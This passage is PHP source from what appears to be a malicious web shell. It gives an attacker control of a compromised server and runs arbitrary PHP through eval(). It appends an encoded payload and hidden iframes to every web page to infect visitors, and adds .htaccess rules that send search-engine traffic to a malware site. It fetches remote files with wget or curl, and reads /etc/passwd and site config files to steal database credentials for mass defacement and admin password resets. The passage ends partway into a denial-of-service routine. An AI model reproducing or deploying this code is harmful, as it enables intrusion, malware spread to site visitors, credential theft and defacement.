3565 if(isset($_POST['padding']))
3566 {
3567 $fromPadd = rand(0,9999);
3568 $subjectPadd = " -- ID : ".rand(0,9999999);
3569 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
3570
3571 }
3572 $from = "hello$fromPadd@abcd.in";
3573 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
3574 {
3575 $error = 1;
3576 echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
3577 break;
3578 }
3579 }
3580 if($error != 1)
3581 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
3582 }
3583 }
3584 else if($_POST['mailfunction'] == "massmailing")
3585 {
3586 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
3587 {
3588 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
3589 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
3590 else
3591 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
3592 }
3593 }
3594}
3595else if(isset($_POST['code']))
3596{
3597 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
3598 {
3599 // FIlter Some Chars we dont need
3600 ?><br>
3601 <textarea name="code" class="box" cols="120" rows="10"><?php
3602 $code = str_replace("<?php","",$_POST['code']);
3603 $code = str_replace("<?","",$code);
3604 $code = str_replace("?>","",$code);
3605
3606 // Evaluate PHP CoDE!
3607 htmlspecialchars(eval($code));
3608 ?>
3609 </textarea><?php
3610 }
3611 else if($_POST['code'] != null && $_POST['intext'] == "false")
3612 {
3613 $code = str_replace("<?php","",$_POST['code']);
3614 $code = str_replace("<?","",$code);
3615 $code = str_replace("?>","",$code);
3616
3617 // Evaluate PHP CoDE!
3618 ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
3619 }
3620}
3621else if(isset($_GET['infect']))
3622{
3623 $mal_code="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";
3624 $coun = 0;
3625 foreach (glob($_GET['path'] . $directorysperator . "*.php") as $injectj00)
3626 {
3627 if($injectj00 == getcwd().$_SERVER['SCRIPT_NAME'])
3628 continue;
3629 if($myfile=fopen($injectj00,'a'))
3630 {
3631 fputs($myfile, gzuncompress(base64_decode($mal_code)));
3632 fclose($myfile);
3633 $coun = 1;
3634 }
3635 }
3636 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
3637 {
3638 if($myfile=fopen($injectj00,'a'))
3639 {
3640 fputs($myfile, gzuncompress(base64_decode($mal_code)));
3641 fclose($myfile);
3642 $coun = 1;
3643 }
3644 }
3645 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
3646 {
3647 if($myfile=fopen($injectj00,'a'))
3648 {
3649 fputs($myfile, gzuncompress(base64_decode($mal_code)));
3650 fclose($myfile);
3651 $coun = 1;
3652 }
3653 }
3654 if($coun == 1)
3655 echo "<center>Done !!!!<center>";
3656 else
3657 echo "<center>Cannot open files !!!!<center>";
3658}
3659else if(isset($_GET['infectiframe']))
3660{
3661 $coun = 0;
3662 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
3663 foreach (glob($_GET['path'] . $directorysperator . "*.php") as $injectj00)
3664 {
3665 if($injectj00 == getcwd().$_SERVER['SCRIPT_NAME'])
3666 continue;
3667 if($myfile=fopen($injectj00,'a'))
3668 {
3669 fputs($myfile, $str);
3670 fclose($myfile);
3671 $coun = 1;
3672 }
3673 }
3674 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
3675 {
3676 if($myfile=fopen($injectj00,'a'))
3677 {
3678 fputs($myfile, $str);
3679 fclose($myfile);
3680 $coun = 1;
3681 }
3682 }
3683 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
3684 {
3685 if($myfile=fopen($injectj00,'a'))
3686 {
3687 fputs($myfile, $str);
3688 fclose($myfile);
3689 $coun = 1;
3690 }
3691 }
3692
3693
3694 if($coun == 1)
3695 echo "<center>Done !!!!<center>";
3696 else
3697 echo "<center>Cannot open files !!!!<center>";
3698}
3699else if(isset($_GET['redirect']))
3700{
3701 if($myfile = fopen(".htaccess",'a'))
3702 {
3703 $mal = "# BEGIN WordPress
3704RewriteEngine On
3705RewriteOptions inherit
3706RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
3707RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
3708RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
3709RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
3710RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
3711RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
3712RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
3713RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
3714RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
3715RewriteRule .* ".$malsite." [R,L]\n\r";
3716 fwrite($myfile, $mal);
3717 fclose($myfile);
3718 echo "<center>Done !!!!<center>";
3719 }
3720 else
3721 echo "<center>Cannot open file !!!!<center>";
3722}
3723else if(isset($_GET['malware']))
3724{ ?>
3725 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
3726 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
3727 <td><a href=# onClick="malwarefun('infectiframe')"><font class=txt size="4">| Infect Users with Iframe |</font></a></td>
3728 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
3729 <div id="showmal"></div>
3730 <?php
3731}
3732else if(isset($_GET['codeinsert']))
3733{
3734 if($file1 = fopen(".htaccess",'r'))
3735 {
3736 ?><div id="showcode"></div>
3737 <form method=post>
3738 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
3739 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
3740 </form>
3741 <?php }
3742 else
3743 echo "<center>Cannot Open File!!</center>";
3744}
3745else if(isset($_POST['getcode']))
3746{
3747 if($myfile = fopen(".htaccess",'a'))
3748 {
3749 fwrite($myfile, $_POST['getcode']);
3750 fwrite($myfile, "\n\r");
3751 fclose($myfile);
3752 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
3753 }
3754 else
3755 echo "Permission Denied";
3756}
3757else if(isset($_GET['uploadurl']))
3758{
3759 $functiontype = trim($_GET['functiontype']);
3760 $wurl = trim($_GET['wurl']);
3761 $path = magicboom($_GET['path']);
3762
3763 function remotedownload($cmd,$url)
3764 {
3765 $namafile = basename($url);
3766 switch($cmd)
3767 {
3768 case 'wwget':
3769 execmd(which('wget')." ".$url." -O ".$namafile);
3770 break;
3771 case 'wlynx':
3772 execmd(which('lynx')." -source ".$url." > ".$namafile);
3773 break;
3774 case 'wfread' :
3775 execmd($wurl,$namafile);
3776 break;
3777 case 'wfetch' :
3778 execmd(which('fetch')." -o ".$namafile." -p ".$url);
3779 break;
3780 case 'wlinks' :
3781 execmd(which('links')." -source ".$url." > ".$namafile);
3782 break;
3783 case 'wget' :
3784 execmd(which('GET')." ".$url." > ".$namafile);
3785 break;
3786 case 'wcurl' :
3787 execmd(which('curl')." ".$url." -o ".$namafile);
3788 break;
3789 default:
3790 break;
3791 }
3792 return $namafile;
3793 }
3794 $namafile = remotedownload($functiontype,$wurl);
3795 $fullpath = $path . $directorysperator . $namafile;
3796 if(is_file($fullpath))
3797 {
3798 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
3799 }
3800 else
3801 echo "<center>Failed to upload $namafile</center>";
3802}
3803else if(isset($_GET['createfolder']))
3804{
3805 if(!mkdir($_GET['createfolder']))
3806 echo '<BR>Failed To create<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR><BR>';
3807 else
3808 echo '<BR><font class=txt>Folder Created Successfully</font><BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR><BR>';
3809}
3810else if(isset($_GET['selfkill']))
3811{
3812 if(unlink($curfile))
3813 echo "<br><center><font size=5>Good Bye......</font></center>";
3814 else
3815 echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
3816}
3817else if(isset($_GET['Create']))
3818{
3819 ?><BR>
3820 <form method="post">
3821 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
3822 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
3823 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
3824 <input name="save" type="button" onClick="cancel()" value="Cancel" id="spacing" class="but"/>
3825 </form>
3826
3827<?php }
3828else if(isset($_GET['readfile']))
3829{
3830 if(is_file($_GET['readfile']))
3831 {
3832 $owner = "0/0";
3833 if($os == "Linux")
3834 $owner = getOGid($_GET['readfile']);
3835 ?>
3836 <form>
3837 <table style="width:57%;">
3838 <tr align="left">
3839 <td align="left">File : </td><td><font class=txt><?php echo $_GET['readfile'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['readfile']); ?>')"><?php echo filepermscolor($_GET['readfile']);?></a></td>
3840 </tr>
3841 <tr>
3842 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['readfile']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
3843 </tr>
3844 </table>
3845 <textarea name="content" rows="15" cols="100" class="box"><?php
3846 $content = htmlspecialchars(file_get_contents($_GET['readfile']));
3847 if($content)
3848 {
3849 echo $content;
3850 }
3851 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
3852 {
3853 if(filesize($_GET['readfile']) != 0 )
3854 {
3855 fopen($_GET['readfile']);
3856 while(!feof())
3857 {
3858 echo htmlspecialchars(fgets($_GET['readfile']));
3859 }
3860 }
3861 }
3862
3863 ?>
3864 </textarea><br />
3865 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['readfile']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
3866 <input type="button" onClick="cancel()" value="cancel" class="but" />
3867 </form>
3868 <?php
3869 }
3870 else
3871 echo '<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR>File does not exist !!!!<BR>';
3872}
3873else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
3874{
3875 $content = $_POST['filecontent'];
3876 if($file_pointer = fopen($_POST['filecreator'], "w+"))
3877 {
3878 fwrite($file_pointer, $content);
3879 fclose($file_pointer);
3880 echo "<font class=txt>File Created Successfully</font>";
3881 }
3882 else
3883 echo "Cannot Create File";
3884}
3885else if(isset($_REQUEST["massdeface"]))
3886{
3887?><center><table><tr><td><a href=# onClick="getmydefacedata('masswp')"><font class=txt size="4">| Wordpress |</font></a></td>
3888 <td><a href=# onClick="getmydefacedata('massjo')"><font class=txt size="4">| Joomla |</font></a></td>
3889 <td><a href=# onClick="getmydefacedata('massvb')"><font class=txt size="4">| Vbulletin |</font></a></td>
3890 </tr></table></center><br><div id="showmydeface"></div><?php
3891}
3892else if(isset($_REQUEST["masswp"]))
3893{
3894 ?><center><form method="post">
3895 <textarea id="massdef" cols=80 rows="19" class="box">You Just Got Hacked</textarea>
3896 <br><input type="button" onClick="massdeface('domasswp',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
3897}
3898else if(isset($_REQUEST["massjo"]))
3899{
3900 ?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
3901 <br><input type="button" onClick="massdeface('domassjo',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
3902}
3903else if(isset($_REQUEST["massvb"]))
3904{
3905 ?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
3906 <br><input type="button" onClick="massdeface('domassvb',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
3907}
3908else if(isset($_REQUEST["massscript"]))
3909{
3910 if($os != "Windows")
3911 {
3912 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
3913 $path=explode('/',$url);
3914 $url =str_replace($path[count($path)-1],'',$url);
3915
3916 if($_REQUEST["massscript"] == "domasswp")
3917 {
3918 echo "<center><table border=1 style='width:70%;'><tr align=center><th>Site</th><th>Message</th><tr>";
3919 mkdir("dhanush");
3920 chdir("dhanush");
3921 execmd("ln -s / root");
3922 $file3 = 'Options all
3923 DirectoryIndex Sux.html
3924 AddType text/plain .php
3925 AddHandler server-parsed .php
3926 AddType text/plain .html
3927 AddHandler txt .html
3928 Require None
3929 Satisfy Any
3930 ';
3931 $fp3 = fopen('.htaccess','w');
3932 $fw3 = fwrite($fp3,$file3);
3933 @fclose($fp3);
3934 if(@file('/etc/passwd'))
3935 {
3936 $users = file('/etc/passwd');
3937 foreach($users as $user)
3938 {
3939 $user = explode(':', $user);
3940
3941 $conf = @file_get_contents($url."dhanush/root/home/".$user[0]."/public_html/wp-config.php");
3942 if(entre2v2($conf,"define('DB_USER', '","');"))
3943 changeindexwp($conf,$_REQUEST['massdef']);
3944 }
3945 }
3946 else
3947 {
3948 $temp = "";
3949 $val1 = 0;
3950 $val2 = 1000;
3951 for(;$val1 <= $val2;$val1++)
3952 {
3953 $uid = @posix_getpwuid($val1);
3954 if ($uid)
3955 $temp .= join(':',$uid)."\n";
3956 }
3957
3958 $temp = trim($temp);
3959
3960 if($file5 = fopen("test.txt","w"))
3961 {
3962 fputs($file5,$temp);
3963 fclose($file5);
3964
3965 $file = fopen("test.txt", "r");
3966 while(!feof($file))
3967 {
3968 $s = fgets($file);
3969 $matches = array();
3970 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3971 $matches = str_replace("home/","",$matches[1]);
3972 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3973 continue;
3974 $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/wp-config.php");
3975 if(entre2v2($conf,"define('DB_USER', '","');"))
3976 changeindexwp($conf,$_REQUEST['massdef']);
3977 }
3978 fclose($file);
3979 }
3980 }
3981 }
3982 elseif($_REQUEST["massscript"] == "domassjo")
3983 {
3984 mkdir("dhanush");
3985 chdir("dhanush");
3986 $d0mains = @file("/etc/named.conf");
3987 if($d0mains)
3988 {
3989 $defcount = 0;
3990 echo "<center><table border=1 style='width:80%;'><tr align=center><th>Login new info</th><th>Login info</th><th>Site</th><th>Message</th><tr>";
3991 foreach($d0mains as $d0main)
3992 {
3993 if(eregi("zone",$d0main))
3994 {
3995 preg_match_all('#zone "(.*)"#', $d0main, $domains);
3996 flush();
3997
3998 if(strlen(trim($domains[1][0])) > 2)
3999 {
4000 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
4001 $conf = @file_get_contents($url."dhanush/root/home/".$user['name']."/public_html/configuration.php");
4002 if(entre2v2($conf,$dol."user = '","';"))
4003 changeindexjo($conf,$_REQUEST['massdef'],$domains[1][0]);
4004 }
4005 }
4006 }
4007 echo '</table><br><h3>'.$defcount.' sites defaced</h3>';
4008 }
4009 else
4010 echo "Cannot Read /etc/named.conf";
4011 }
4012 elseif($_REQUEST["massscript"] == "domassvb")
4013 {
4014 mkdir("dhanush");
4015 chdir("dhanush");
4016 echo "<center><table border=1 style='width:70%;'><tr align=center><th>Site</th><th>Message</th><tr>";
4017
4018 if(@file('/etc/passwd'))
4019 {
4020 $users = file('/etc/passwd');
4021 foreach($users as $user)
4022 {
4023 $user = explode(':', $user);
4024 $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/includes/config.php");
4025 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4026 changeindexvb($conf,$_REQUEST['massdef']);
4027 $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/vb/configuration.php");
4028 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4029 changeindexvb($conf,$_REQUEST['massdef']);
4030 $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/forum/configuration.php");
4031 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4032 changeindexvb($conf,$_REQUEST['massdef']);
4033 $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/core/configuration.php");
4034 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4035 changeindexvb($conf,$_REQUEST['massdef']);
4036 $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/vb/core/configuration.php");
4037 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4038 changeindexvb($conf,$_REQUEST['massdef']);
4039 }
4040 }
4041 else
4042 {
4043 $temp = "";
4044 $val1 = 0;
4045 $val2 = 1000;
4046 for(;$val1 <= $val2;$val1++)
4047 {
4048 $uid = @posix_getpwuid($val1);
4049 if ($uid)
4050 $temp .= join(':',$uid)."\n";
4051 }
4052
4053 $temp = trim($temp);
4054
4055 if($file5 = fopen("test.txt","w"))
4056 {
4057 fputs($file5,$temp);
4058 fclose($file5);
4059
4060 $file = fopen("test.txt", "r");
4061 while(!feof($file))
4062 {
4063 $s = fgets($file);
4064 $matches = array();
4065 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
4066 $matches = str_replace("home/","",$matches[1]);
4067 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
4068 continue;
4069 $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/includes/config.php");
4070 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4071 changeindexvb($conf,$_REQUEST['massdef']);
4072 $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/vb/configuration.php");
4073 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4074 changeindexvb($conf,$_REQUEST['massdef']);
4075 $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/forum/configuration.php");
4076 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4077 changeindexvb($conf,$_REQUEST['massdef']);
4078 $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/core/configuration.php");
4079 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4080 changeindexvb($conf,$_REQUEST['massdef']);
4081 $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/vb/core/configuration.php");
4082 if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
4083 changeindexvb($conf,$_REQUEST['massdef']);
4084 changeindexvb($conf,$_REQUEST['massdef']);
4085 }
4086 fclose($file);
4087 }
4088 }
4089 }
4090 echo "</table><center>";
4091 }
4092 else
4093 echo "<center>Cannot do mass deface</center>";
4094}
4095else if(isset($_REQUEST["defaceforum"]))
4096{
4097 ?>
4098 <center><div id="showdeface"></div>
4099 <font size="4">Forum Index Changer</font>
4100 <form action="<?php echo $self; ?>" method = "POST">
4101 <input type="hidden" name="forum">
4102 <input type="hidden" name="defaceforum">
4103 <table class=btmtbl border = "1" width="60%" style="text-align: center;" align="center">
4104 <tr>
4105 <td height="50" width="50%"> Host : <input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
4106
4107 <td width="50%"> Database : <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
4108 <tr><td height="50" width="50%">User : <input type ="text" class="sbox" name = "f3" size="20"> </td>
4109 <td> Password : <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
4110
4111 <tr><td height="50" width="50%">Type :
4112 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
4113 <option value="vb">vbulletin</option>
4114 <option value="mybb">Mybb</option>
4115 <option value="smf">SMF</option>
4116 <option value="ipb">IPB</option>
4117 <option value="wp">Wordpress</option>
4118 <option value="joomla">Joomla</option>
4119 </select></td>
4120 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
4121
4122 </tr>
4123 <tr>
4124 <td height="167" width="50%" colspan=2>
4125 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" id="siteurl" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
4126
4127 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
4128
4129 </div>
4130
4131 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
4132 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,f5.value)" class="but" value = "Hack It">
4133 </td>
4134 </tr>
4135 </table>
4136 </form>
4137 </center>
4138 <?php
4139 }
4140 else if(isset($_GET["passwordchange"]))
4141 {
4142 echo "<center>";
4143 ?>
4144 <div id="showchangepass"></div>
4145 <font size="4">Forum Password Changer</font>
4146 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value);return false;">
4147 <table class=btmtbl border = "1" width="60%" height="246" style="text-align: center;" align="center">
4148 <tr>
4149 <td height="50" width="50%"> Host : <input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> DataBase : <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> User : <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> Password : <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
4150 <tr>
4151 <td height="50" width="50%">Type :
4152 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
4153 <option value="vb">vbulletin</option>
4154 <option value="mybb">Mybb</option>
4155 <option value="smf">SMF</option>
4156 <option value="ipb">IPB</option>
4157 <option value="phpbb">PHPBB</option>
4158 <option value="wp">Wordpress</option>
4159 <option value="joomla">Joomla</option>
4160 </select></td>
4161 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
4162 </tr>
4163 <tr>
4164 <td colspan=2 height="100" width="780">
4165
4166 <p align="center"><div id="fid" style="display:block;">User ID : <input class="sbox" type="text" name="ipbuid" size="20" value="1"> New Password : <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
4167
4168 <div id="joomla" style="display:none;">New Username : <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> New Password : <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
4169
4170 <div id="wpress" style="display:none;"><p>New Username : <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"> New Password : <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p></div>
4171
4172 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
4173 </tr>
4174 </table>
4175 </form>
4176 </center>
4177 <?php
4178}
4179else if(isset($_GET['dosser']))
4180{
4181 if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
4182 $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
4183 {
4184 $IP=$_GET['ip'];
4185 $port=$_GET['port'];
